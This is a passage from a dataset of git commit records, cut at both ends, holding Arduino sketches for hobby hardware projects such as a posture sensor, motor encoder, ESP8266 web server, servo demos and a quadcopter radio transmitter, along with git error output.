strm[0]);\n\t}\n\tmodel->aprm[0] = 0;\n\tfor (int i = 1; i < THETA_REGIONS; i++)\n\t\tmodel->aprm[i] = model->aprm[i - 1] + model->prsm[i - 1];\n\tmodel->num_region = model->aprm[THETA_REGIONS - 1] + model->prsm[THETA_REGIONS - 1];\n\treturn EXIT_SUCCESS;\n}\n\n\/**\n * this function reads mpu6050 sensor and updates a given array with accelartion\n * data.\n *\n * @param accs the array that should be initialized with acceleration data\n *\/\nvoid read_raw_sensor_data(int16_t *accs)\n{\n\tWire.beginTransmission(MPU);\n\t\/\/ starting with register 0x3B (ACCEL_XOUT_H)\n\tWire.write(0x3B);\n\tWire.endTransmission(false);\n\t\/\/ request a total of 14 registers\n\tWire.requestFrom(MPU, 14, true);\n\t\/\/ 0x3B (ACCEL_XOUT_H) & 0x3C (ACCEL_XOUT_L)\n\taccs[ACC_X] = Wire.read() << 8 | Wire.read();\n\t\/\/ 0x3D (ACCEL_YOUT_H) & 0x3E (ACCEL_YOUT_L)\n\taccs[ACC_Y] = Wire.read() << 8 | Wire.read();\n\t\/\/ 0x3F (ACCEL_ZOUT_H) & 0x40 (ACCEL_ZOUT_L)\n\taccs[ACC_Z] = Wire.read() << 8 | Wire.read();\n\t\/\/ 0x41 (TEMP_OUT_H) & 0x42 (TEMP_OUT_L)\n\tWire.read() << 8 | Wire.read();\n\t\/\/ 0x43 (GYRO_XOUT_H) & 0x44 (GYRO_XOUT_L)\n\tWire.read() << 8 | Wire.read();\n\t\/\/ 0x45 (GYRO_YOUT_H) & 0x46 (GYRO_YOUT_L)\n\tWire.read() << 8 | Wire.read();\n\t\/\/ 0x47 (GYRO_ZOUT_H) & 0x48 (GYRO_ZOUT_L)\n\tWire.read() << 8 | Wire.read();\n}\n\n\/**\n * this function converts raw acceleration data to the number assigned to the\n * region they are mapped to. It uses a previously initialized model to reduce\n * the amount of required calculations.\n *\n * @param raw raw acceleration data read from the sensor\n * @param region the variable to be updated based on acceleration data\n * @param model the recognition model to be used to calculate the sphere region\n *\/\nvoid process_region(\n\tint16_t *raw,\n\tuint8_t *region,\n\tstruct recognition_model const *const model\n) {\n\tdouble phi, theta;\n\tint16_t reg_phi, reg_theta;\n\tphi = atan2(raw[ACC_Y], raw[ACC_X]) * 180.0 \/ MATH_PI + 180.0;\n\ttheta = atan2(sqrt(pow(raw[ACC_X], 2) + pow(raw[ACC_Y], 2)), raw[ACC_Z]) * 180 \/ MATH_PI;\n\treg_theta = floor(theta * THETA_REGIONS \/ 180.0) + 1;\n\tif (phi >= 360.0 - 180.0 \/ model->prsm[reg_theta - 1])\n\t\treg_phi = 1;\n\telse\n\t\treg_phi = floor(phi * model->prsm[reg_theta - 1] \/ 360.0 + 0.5) + 1;\n\t*region = model->aprm[reg_theta - 1] + reg_phi;\n}\n\n\/**\n * This function resets the posture to all zeros every time a packet is\n * transmitted.\n *\n * @param the array representing posture\n * @param the size of the array\n *\/\nvoid reset_posture(uint8_t *posture, uint8_t posture_size)\n{\n\tfor (int i = 0; i < posture_size; i++) {\n\t\tposture[i] = 0;\n\t}\n}\n\n\/**\n * This function takes a 1 byte integer and converts it to string\n * representation of its hexa decimal equivalent.\n *\n * @param num the integer which should be converted to hexa\n * @param ch a pointer to the string being built\n *\/\nvoid uint8_to_hexstr(uint8_t num, char *ch)\n{\n\tch[0] = TO_HEX(((num & 0xF0) >> 4));\n\tch[1] = TO_HEX((num & 0x0F));\n}\n\n\/**\n * After the listening time window is over, a string repreesntation of the\n * activity code should be constructed for transmission. This function\n * constructs the message to be sent which contains the id of the board and\n * the activity code for passed time window.\n *\n * @param ch a pointer to the string that should be constructed\n * @param posture the array of activity code\n * @param size of the posture array (equal to number of regions in sphere)\n *\/\nvoid build_message(char *ch, uint8_t *posture, uint16_t posture_size)\n{\n\tint i;\n\tsprintf(ch, \"|%d|\", MY);\n\twhile (*ch != '\\0')\n\t\tch++;\n\tfor (i = 0; i < posture_size; i++) {\n\t\tuint8_to_hexstr(posture[i], ch);\n\t\tch[2] = '|';\n\t\tch = ch + 3;\n\t}\n\t*ch++ = '\\n';\n\t*ch = '\\0';\n}\n\n\/**\n * This function initializes the recognition model and prepares the board\n * for reading MPU6050 and transmitting via zigbee module.\n *\/\nvoid setup() {\n\tinit_model(&model);\n\tWire.begin();\n\tWire.beginTransmission(MPU);\n\tWire.write(0x6B); \/\/ PWR_MGMT_1 register\n\tWire.write(0); \/\/ set to zero (wakes up the MPU-6050)\n\tWire.endTransmission(true);\n\tSerial.begin(9600);\n}\n\n\/**\n * This function reads acceleration data from MPU-6050, converts them to the\n * number assigned to a region of recognition sphere that the acceleration data\n * is mapped to and transmits the region number via the zigbee module. This\n * function is called repeatedly as long as the board is turned on.\n *\/\nvoid loop()\n{\n\tunsigned long tic = millis();\n\tint16_t raw[ACC_COUNT];\n\tuint8_t posture[model.num_region];\n\tuint8_t region;\n\tchar message[MSG_LEN];\n\treset_posture(posture, model.num_region);\n\twhile (millis() - tic < INTERVAL) {\n\t\tread_raw_sensor_data(&raw[0]);\n\t\tprocess_region(&raw[0], ®ion, &model);\n\t\tposture[region - 1]++;\n\t}\n\tbuild_message(message, &posture[0], model.num_region);\n\tSerial.write(message);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/ard\/posture\/posture.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"829de16aa4dfa23d1e33449dca0b5f5fd30d0466","subject":"Arduino based IG42 motor encoder reader","message":"Arduino based IG42 motor encoder reader\n","repos":"turgaysenlet\/carry,turgaysenlet\/carry,turgaysenlet\/carry,turgaysenlet\/carry","old_file":"encore_reader\/encoder_reader.ino\/encoder_reader.ino.ino","new_file":"encore_reader\/encoder_reader.ino\/encoder_reader.ino.ino","new_contents":"int val;\nint encoder0PinA = 8;\nint encoder0PinB = 9;\nint encoder0Pos = 0;\nint encoder0PinALast = LOW;\nint n = LOW;\n\nvoid setup() {\n pinMode(encoder0PinA, INPUT);\n pinMode(encoder0PinB, INPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n n = digitalRead(encoder0PinA);\n if ((encoder0PinALast == LOW) && (n == HIGH)) {\n if (digitalRead(encoder0PinB) == LOW) {\n encoder0Pos--;\n } else {\n encoder0Pos++;\n }\n Serial.print(encoder0Pos);\n Serial.print(\"\/\");\n }\n encoder0PinALast = n;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'encore_reader\/encoder_reader.ino\/encoder_reader.ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0c9be0b9aa97a89ebe977b8914347a2cf16c0e77","subject":"more blinkelights","message":"more blinkelights\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c88aa10d293be86ead450b016df1d99c7ad0ca87","subject":"Added lab3: Web","message":"Added lab3: Web\n","repos":"DidymusRex\/Roost,DidymusRex\/Roost,DidymusRex\/Roost","old_file":"Roost_lab3\/Roost_lab3.ino","new_file":"Roost_lab3\/Roost_lab3.ino","new_contents":"\/\/ =============================================================================\n\/\/ File: Roost_lab3.ino\n\/\/ Desc: Roost! An open source implementaion of a temperature and motion\n\/\/ monitoring station based on an ESP8266 with DHT11 and HC-SR501 sensors.\n\/\/\n\/\/ This code is in the public domain\n\/\/ =============================================================================\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ LED control: code for dealing with the LEDs for the \"Roost!\" project\n\n\/\/ default led on pin 5 (also onboard led)\n#define LED_DEFAULT 5\n\/\/ extra led on pin 4\n#define LED_EXTRA 4\n\/\/ both pins\n#define LED_BOTH -1\n\nvoid led_setup() {\n digitalWrite(LED_DEFAULT, LOW);\n digitalWrite(LED_EXTRA, LOW);\n\n led_blink(LED_DEFAULT, 50);\n led_blink(LED_EXTRA, 50);\n led_blink(LED_BOTH, 50);\n}\n\n\/\/ -------------------------------------\n\/\/ blink the led on pin l for d milliseconds\n\/\/ -------------------------------------\nvoid led_blink(int l, int d){\n \/\/ If led not specified then use default\n if (l != LED_EXTRA && l != LED_BOTH) { l = LED_DEFAULT; }\n\n \/\/ minimum blink is 10 millis\n if (d<10) { d=10; }\n\n \/\/ maximum blink is 5 seconds\n if (d>5000) { d=5000; }\n\n \/\/ blink on\n if (l == LED_BOTH) {\n digitalWrite(LED_DEFAULT, HIGH);\n digitalWrite(LED_EXTRA, HIGH);\n } else {\n digitalWrite(l, HIGH);\n }\n\n \/\/ pause ...\n delay(d);\n\n \/\/ blink off\n if (l == LED_BOTH) {\n digitalWrite(LED_DEFAULT, LOW);\n digitalWrite(LED_EXTRA, LOW);\n } else {\n digitalWrite(l, LOW);\n }\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Wifi Control: code for dealing with WiFi for the \"Roost!\" project\n\/\/ requires ESP8266 WiFi libraries\n\/\/ https:\/\/github.com\/esp8266\/Arduino\/*\n\/\/\n#include <ESP8266WiFi.h>\n\n\/\/ my home network\n\/\/ -------------------------------------\n const char* ssid = \"Lincoln Manor\";\n const char* password = \"...---... sos ...---...\";\n\n\/\/ Notre Dame public WiFi\n\/\/ -------------------------------------\n\/\/ const char* ssid = \"ND-guest\";\n\/\/ const char* password = \"\";\n\n\/\/ Roost class network\n\/\/ -------------------------------------\n\/\/ const char* ssid = \"XXXXXXXXXX\";\n\/\/ const char* password = \"XXXXXXXXXX\";\n\nchar wifi_ipaddr[21] = {};\n\n\/\/ convert int to dotted quad. thanks stackoverflow.com\nvoid wifi_format_ip(){\n uint32_t ip=WiFi.localIP();\n unsigned char bytes[4];\n\n bytes[0] = ip & 0xFF;\n bytes[1] = (ip >> 8) & 0xFF;\n bytes[2] = (ip >> 16) & 0xFF;\n bytes[3] = (ip >> 24) & 0xFF;\n sprintf(wifi_ipaddr, \"%d.%d.%d.%d\/roost\", bytes[0], bytes[1], bytes[2], bytes[3]);\n}\n\nvoid wifi_setup(){\n \/\/Fire up the wifi\n WiFi.begin(ssid, password);\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\"o\");\n led_blink(LED_EXTRA, 50);\n }\n\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\" network on IP address: \");\n Serial.println(WiFi.localIP());\n\n wifi_format_ip();\n Serial.println(wifi_ipaddr);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Serial output: code for dealing with serial output for the \"Roost!\" project\n\/\/\n#define SERIAL_BAUD 74880 \/\/ ESP native speed\n\nvoid serial_setup(){\n Serial.begin(SERIAL_BAUD);\n Serial.println(\"Roost initializing!\");\n}\n\nvoid serial_roost() {\n Serial.println(wifi_ipaddr);\n\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Web output: code for dealing with internet for the \"Roost!\" project\n\/\/ requires ESP8266 WiFi libraries\n\/\/ https:\/\/github.com\/esp8266\/Arduino\/*\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n\n\/\/ Web server\nESP8266WebServer web_server(80);\n\n\/\/ web blink pattern\nvoid web_blink(){\n led_blink(LED_EXTRA, 10);\n delay(50); \n led_blink(LED_EXTRA, 10);\n}\n\n\/\/ root web page\nvoid web_handle_root() {\n web_server.send(200, \"text\/plain\", \"Try \/roost\");\n web_blink();\n}\n\n\/\/ 404\nvoid web_handle_404(){\n String message = \"404 File Not Found\\n\\n\";\n message += \"URI: \";\n message += wifi_ipaddr;\n message += web_server.uri();\n message += \"\\nMethod: \";\n message += (web_server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += web_server.args();\n message += \"\\n\";\n for (uint8_t i=0; i< web_server.args(); i++){\n message += \" \" + web_server.argName(i) + \": \" + web_server.arg(i) + \"\\n\";\n }\n web_server.send(404, \"text\/plain\", message);\n web_blink();\n}\n\n\/\/ display roost data on the web\nvoid web_handle_roost(){\n char x[64] = {};\n String message = \"Roost!\\n\";\n\n web_server.send(200, \"text\/plain\", message);\n web_blink();\n}\n\nvoid web_setup(){\n \/\/ base page\n web_server.on(\"\/\", web_handle_root);\n\n \/\/ roost page\n web_server.on(\"\/roost\", web_handle_roost);\n\n \/\/ no page at all\n web_server.onNotFound(web_handle_404);\n\n \/\/ Start the web\n web_server.begin();\n Serial.println(\"HTTP server started\");\n}\n\n\/\/ =============================================================================\nvoid setup() {\n\n \/\/ leds off, please\n led_setup();\n\n \/\/ Serial for debugging\n serial_setup();\n\n \/\/ WiFi\n wifi_setup();\n\n \/\/ Web\n web_setup();\n}\n\n\/\/ =============================================================================\nvoid loop() {\n led_blink(LED_DEFAULT, 500);\n delay(500);\n\n led_blink(LED_EXTRA, 500);\n delay(500);\n\n led_blink(LED_BOTH, 500);\n delay(500);\n\n \/\/ let the web server do its thing every iteration\n web_server.handleClient();\n}\n\n\/\/ =============================================================================\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Roost_lab3\/Roost_lab3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6932e5813866fd8b8572cc058559ef2cda2f7ae6","subject":"basic bidirectional communication over serial with RPi","message":"basic bidirectional communication over serial with RPi\n","repos":"guitar-hero\/lora-post","old_file":"lora-post-test-node\/Arduino\/SoftwareSerialExample\/SoftwareSerialExample.ino","new_file":"lora-post-test-node\/Arduino\/SoftwareSerialExample\/SoftwareSerialExample.ino","new_contents":"\/*\n Software serial multple serial test\n\n Receives from the hardware serial, sends to software serial.\n Receives from software serial, sends to hardware serial.\n\n The circuit:\n * RX is digital pin 10 (connect to TX of other device)\n * TX is digital pin 11 (connect to RX of other device)\n\n Note:\n Not all pins on the Mega and Mega 2560 support change interrupts,\n so only the following can be used for RX:\n 10, 11, 12, 13, 50, 51, 52, 53, 62, 63, 64, 65, 66, 67, 68, 69\n\n Not all pins on the Leonardo support change interrupts,\n so only the following can be used for RX:\n 8, 9, 10, 11, 14 (MISO), 15 (SCK), 16 (MOSI).\n\n created back in the mists of time\n modified 25 May 2012\n by Tom Igoe\n based on Mikal Hart's example\n\n This example code is in the public domain.\n\n *\/\n#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\nString input = \"\";\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n\n Serial.println(\"Goodnight moon!\");\n\n \/\/ set the data rate for the SoftwareSerial port\n mySerial.begin(4800);\n mySerial.println(\"Hello, world?\");\n}\n\nvoid loop() { \/\/ run over and over\n if (mySerial.available()) {\n Serial.write(mySerial.read());\n }\n if (Serial.available()) {\n mySerial.write(Serial.read());\n }\n delay(500);\n Serial.println(\"Half a second later\");\n\n input = Serial.readString();\n\n if(input) {\n Serial.println(\"Input: \" + input);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lora-post-test-node\/Arduino\/SoftwareSerialExample\/SoftwareSerialExample.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d06e356ffda0d9fcbaa162a7c9a9ca5a506cb3aa","subject":"Found the actual working code. Also death of a project.","message":"Found the actual working code. Also death of a project.\n\nSo after rummaging around on my backup drive I think I found the actual\nworking code I had been working on. The reason this code had not been up\nin the first place is because my computer crashed and prior to that I\nwas still getting used to Github, seeing how it was my first time using\nit.\n","repos":"paulchorba\/TrueVR,paulchorba\/TrueVR","old_file":"Arduino code\/bluetooth_controller\/bluetooth_controller.ino","new_file":"Arduino code\/bluetooth_controller\/bluetooth_controller.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/bluetooth_controller\/bluetooth_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"49af95baa88ce96804bb038c8cedf1695f77e4db","subject":"add SG92R microservo code","message":"add SG92R microservo code\n","repos":"jgarnier\/iot-corner,jgarnier\/iot-corner,jgarnier\/iot-corner","old_file":"arduino\/microservo_SG92R\/sketch_servomotor_SG92R\/sketch_servomotor_SG92R.ino","new_file":"arduino\/microservo_SG92R\/sketch_servomotor_SG92R\/sketch_servomotor_SG92R.ino","new_contents":"#include <Servo.h> \n \nServo monservo; \/\/ cr\u00e9e l\u2019objet pour contr\u00f4ler le servomoteur \n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n monservo.attach(9); \/\/ utilise la broche 9 pour le contr\u00f4le du servomoteur \n monservo.write(0); \/\/ positionne le servomoteur \u00e0 0\u00b0 \n\n}\n\nvoid loop() {\n monservo.write(0); \n delay(1000); \n monservo.write(90); \n delay(1000); \n monservo.write(100); \n delay(1000); \n monservo.write(110); \n delay(1000); \n monservo.write(120); \n delay(1000); \n monservo.write(130); \n delay(1000); \n monservo.write(140); \n delay(1000); \n monservo.write(150); \n delay(1000); \n monservo.write(160); \n delay(1000); \n monservo.write(170); \n delay(1000); \n monservo.write(180); \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/microservo_SG92R\/sketch_servomotor_SG92R\/sketch_servomotor_SG92R.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"80e3f40606b8b31f473f6d38d0a0fc828d4125a5","subject":"Added servo example","message":"Added servo example\n","repos":"fdivitto\/sbus","old_file":"examples\/servo\/servo.ino","new_file":"examples\/servo\/servo.ino","new_contents":"#include <sbus.h>\n#include <Servo.h>\n\n\/\/ used pins\n#define SBUS_PIN 3 \/\/ D3\n#define SERVO_PIN 2 \/\/ D2\n\n\nSBUS sbus;\nServo servo;\n\nvoid setup() {\n sbus.begin(SBUS_PIN, sbusBlocking); \n servo.attach(SERVO_PIN); \n\n}\n\n\nvoid loop() {\n\n if (sbus.waitFrame()) {\n\n servo.writeMicroseconds( sbus.getChannel(1) );\n \n }\n\n delay(20);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/servo\/servo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3828f05343b9cf86aa02301033da993d1547826a","subject":"adding battery measurment in arduino code","message":"adding battery measurment in arduino code\n","repos":"Emiliyan-Sokolov\/diplomna-rabota,Emiliyan-Sokolov\/diplomna-rabota","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b4277c3e822ae48d1511f6d75a778643d628e1b3","subject":"Create pneumaticPressure.ino","message":"Create pneumaticPressure.ino","repos":"huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15","old_file":"Arduino Code\/masterCode\/pneumaticPressure.ino","new_file":"Arduino Code\/masterCode\/pneumaticPressure.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"ce666f0e997fb662168a50f05eb2ad53ccd4201a","subject":"400 Bad Request issue persists","message":"400 Bad Request issue persists\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/wifi_test\/wifi_test.ino","new_file":"unit tests\/wifi_test\/wifi_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/wifi_test\/wifi_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"338451177c000244e28af07555ef65d37c73c139","subject":"Dynamixel SDK example: works with CR or CR\/LF","message":"Dynamixel SDK example: works with CR or CR\/LF\n\nGot tired of the dxl monitor would not work if the Serial monitor was not set to only CR, so updated it to work when in CR\/LF mode as well (simply ignores the LF)\n\nAlso changed some of the error printing to get rid of call to printTxRxResult, to avoid seeing the depreciated messages...\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/07. DynamixelSDK\/dxl_monitor\/dxl_monitor.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/07. DynamixelSDK\/dxl_monitor\/dxl_monitor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/07.' did not match any file(s) known to git\nerror: pathspec 'DynamixelSDK\/dxl_monitor\/dxl_monitor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ed6f0df7be897e3678358e110e10676ebbe15ddc","subject":"Vcc now read by the monitor","message":"Vcc now read by the monitor\n","repos":"theapi\/quadcopter","old_file":"transmitter\/TX\/TX.ino","new_file":"transmitter\/TX\/TX.ino","new_contents":"\/**\n * Totally inspired by iforce2d's \"Cheap-ass quadcopter build\"\n * https:\/\/www.youtube.com\/playlist?list=PLzidsatoEzeieT03YQ6-LpO0bR1yfEZpx\n *\n * But this is even cheaper (if you happen to have a Hubsan X4 which you fried)\n *\n * Uses the Optimized fork of nRF24L01 for Arduino and Raspberry Pi \n * https:\/\/github.com\/TMRh20\/RF24\n *\n *\/\n\n#include <SPI.h>\n#include \"nRF24L01.h\"\n#include \"RF24.h\"\n#include \"printf.h\"\n\n#define DEBUG 0\n\n#define RX_ADDRESS \"001RX\"\n#define TX_ADDRESS \"001TX\"\n\n#define PIN_CE 7\n#define PIN_CSN 8\n#define PIN_MONITOR_SS 4\n\n#define PIN_THROTTLE A0\n#define PIN_YAW A1\n#define PIN_PITCH A2\n#define PIN_ROLL A3\n\nRF24 radio(PIN_CE, PIN_CSN);\n\ntypedef struct{\n byte throttle;\n byte yaw;\n byte pitch;\n byte roll;\n byte dial1;\n byte dial2;\n byte switches; \/\/ bitflag\n}\ntx_t;\ntx_t tx_payload;\n\n\/\/ Small ack payload for speed\ntypedef struct{\n uint8_t key;\n uint16_t val;\n}\nack_t;\nack_t ack_payload;\n\n\nbyte pipe_tx[6] = TX_ADDRESS;\nbyte pipe_rx[6] = RX_ADDRESS;\n\nunsigned long ppsLast = 0;\nint ppsCounter = 0;\nint pps = 0;\nint ppsLost = 0;\nint ppsLostCounter = 0;\n\nvoid resetPayload() \n{\n tx_payload.throttle = 0;\n tx_payload.yaw = 127;\n tx_payload.pitch = 127;\n tx_payload.roll = 127;\n tx_payload.dial1 = 0;\n tx_payload.dial2 = 0;\n tx_payload.switches = 0;\n}\n\nvoid setup() \n{\n Serial.begin(115200);\n \n if (DEBUG) {\n \n printf_begin();\n Serial.println(\"Begin\");\n }\n \n resetPayload();\n \n radio.begin(); \/\/ does the equivelent of SPI.begin()\n radio.setChannel(80);\n radio.setPayloadSize(sizeof(tx_t));\n \n \/\/ For the slower data rate (further range) see https:\/\/github.com\/TMRh20\/RF24\/issues\/98\n radio.setDataRate(RF24_250KBPS);\n radio.setAutoAck(1);\n radio.enableAckPayload();\n \n \/\/ How long to wait between each retry, in multiples of 250us,\n \/\/ max is 15. 0 means 250us, 15 means 4000us.\n \/\/ count How many retries before giving up, max 15\n \/\/ 3 * 250 = 750 = time required for an 8 byte ack\n radio.setRetries(3, 1);\n \n radio.openWritingPipe(pipe_tx);\n radio.openReadingPipe(1, pipe_rx);\n \n if (DEBUG) {\n \/\/ Dump the configuration of the rf unit for debugging\n radio.printDetails(); \n Serial.println(\"End begin\");\n }\n \n ack_payload.key = 253;\n ack_payload.val = 4000; \/\/@todo tx battery level\n monitor_sendData();\n \n radio.startListening();\n}\n\n\n\/****************************************************************************\/\n\n\/\/ Returns a corrected value for a joystick position that takes into account\n\/\/ the values of the outer extents and the middle of the joystick range.\nint joystickMapValues(int val, int lower, int middle, int upper, bool reverse)\n{\n val = constrain(val, lower, upper);\n if ( val < middle )\n val = map(val, lower, middle, 0, 128);\n else\n val = map(val, middle, upper, 128, 255);\n return ( reverse ? 255 - val : val );\n}\n\n\/****************************************************************************\/\n\n\nvoid loop(void)\n{\n tx_payload.throttle = joystickMapValues( analogRead(PIN_THROTTLE), 100, 500, 900, false );\n tx_payload.yaw = joystickMapValues( analogRead(PIN_YAW), 100, 500, 900, false );\n tx_payload.pitch = joystickMapValues( analogRead(PIN_PITCH), 100, 500, 900, false );\n tx_payload.roll = joystickMapValues( analogRead(PIN_ROLL), 100, 500, 900, false );\n \n if (DEBUG) {\n \/\/printf(\"Now sending throttle %d\\n\\r \",tx_payload.throttle);\n }\n \n \/\/ Stop listening so we can talk.\n radio.stopListening(); \n \n \/\/ Take the time, and send it. This will block until complete \n unsigned long time = micros(); \n if (!radio.write( &tx_payload, sizeof(tx_t))) {\n \/\/ Got no ack.\n if (DEBUG) {\n \/\/printf(\"no ack.\\n\\r\"); \n ++ppsLostCounter;\n }\n } else {\n if (!radio.available()) { \n \/\/ blank payload\n if (DEBUG) {\n \/\/printf(\"Blank Payload Received\\n\\r\"); \n }\n } else {\n \n if (radio.available() ){\n unsigned long tim = micros();\n radio.read( &ack_payload, sizeof(ack_t) );\n ppsCounter++;\n monitor_sendData();\n if (DEBUG) {\n printf(\"Got response %d, pps: %d , round-trip: %lu microseconds\\n\\r\", ack_payload.val, pps, tim-time);\n }\n\n }\n\n }\n }\n \n unsigned long now = millis();\n if ( now - ppsLast > 250 ) {\n pps = ppsCounter;\n ppsLost = ppsLostCounter;\n ppsCounter = 0;\n ppsLostCounter = 0;\n ppsLast = now;\n if (DEBUG) {\n printf(\"pps: %d, lost: %d \\n\\r\", pps, ppsLost);\n }\n ack_payload.key = 255;\n ack_payload.val = (pps << 2); \/\/ Multiply by 4 (fast)\n monitor_sendData();\n } \n\n}\n\nvoid monitor_sendData()\n{\n if (!DEBUG) {\n byte data[5];\n \n data[0] = 'A';\n data[1] = ack_payload.key;\n data[2] = (ack_payload.val >> 8);\n data[3] = ack_payload.val;\n data[4] = 'K';\n \n Serial.write(data, 5);\n \/\/Serial.flush();\n }\n}\n\n\n\n","old_contents":"\/**\n * Totally inspired by iforce2d's \"Cheap-ass quadcopter build\"\n * https:\/\/www.youtube.com\/playlist?list=PLzidsatoEzeieT03YQ6-LpO0bR1yfEZpx\n *\n * But this is even cheaper (if you happen to have a Hubsan X4 which you fried)\n *\n * Uses the Optimized fork of nRF24L01 for Arduino and Raspberry Pi \n * https:\/\/github.com\/TMRh20\/RF24\n *\n *\/\n\n#include <SPI.h>\n#include \"nRF24L01.h\"\n#include \"RF24.h\"\n#include \"printf.h\"\n\n#define DEBUG 0\n\n#define RX_ADDRESS \"001RX\"\n#define TX_ADDRESS \"001TX\"\n\n#define PIN_CE 7\n#define PIN_CSN 8\n#define PIN_MONITOR_SS 4\n\n#define PIN_THROTTLE A0\n#define PIN_YAW A1\n#define PIN_PITCH A2\n#define PIN_ROLL A3\n\nRF24 radio(PIN_CE, PIN_CSN);\n\ntypedef struct{\n byte throttle;\n byte yaw;\n byte pitch;\n byte roll;\n byte dial1;\n byte dial2;\n byte switches; \/\/ bitflag\n}\ntx_t;\ntx_t tx_payload;\n\n\/\/ Small ack payload for speed\ntypedef struct{\n uint8_t key;\n uint16_t val;\n}\nack_t;\nack_t ack_payload;\n\n\nbyte pipe_tx[6] = TX_ADDRESS;\nbyte pipe_rx[6] = RX_ADDRESS;\n\nunsigned long ppsLast = 0;\nint ppsCounter = 0;\nint pps = 0;\nint ppsLost = 0;\nint ppsLostCounter = 0;\n\nunsigned long vcc_last = 0;\n\nvoid resetPayload() \n{\n tx_payload.throttle = 0;\n tx_payload.yaw = 127;\n tx_payload.pitch = 127;\n tx_payload.roll = 127;\n tx_payload.dial1 = 0;\n tx_payload.dial2 = 0;\n tx_payload.switches = 0;\n}\n\nvoid setup() \n{\n Serial.begin(115200);\n \n if (DEBUG) {\n \n printf_begin();\n Serial.println(\"Begin\");\n }\n \n resetPayload();\n \n radio.begin(); \/\/ does the equivelent of SPI.begin()\n radio.setChannel(80);\n radio.setPayloadSize(sizeof(tx_t));\n \n \/\/ For the slower data rate (further range) see https:\/\/github.com\/TMRh20\/RF24\/issues\/98\n radio.setDataRate(RF24_250KBPS);\n radio.setAutoAck(1);\n radio.enableAckPayload();\n \n \/\/ How long to wait between each retry, in multiples of 250us,\n \/\/ max is 15. 0 means 250us, 15 means 4000us.\n \/\/ count How many retries before giving up, max 15\n \/\/ 3 * 250 = 750 = time required for an 8 byte ack\n radio.setRetries(3, 1);\n \n radio.openWritingPipe(pipe_tx);\n radio.openReadingPipe(1, pipe_rx);\n \n if 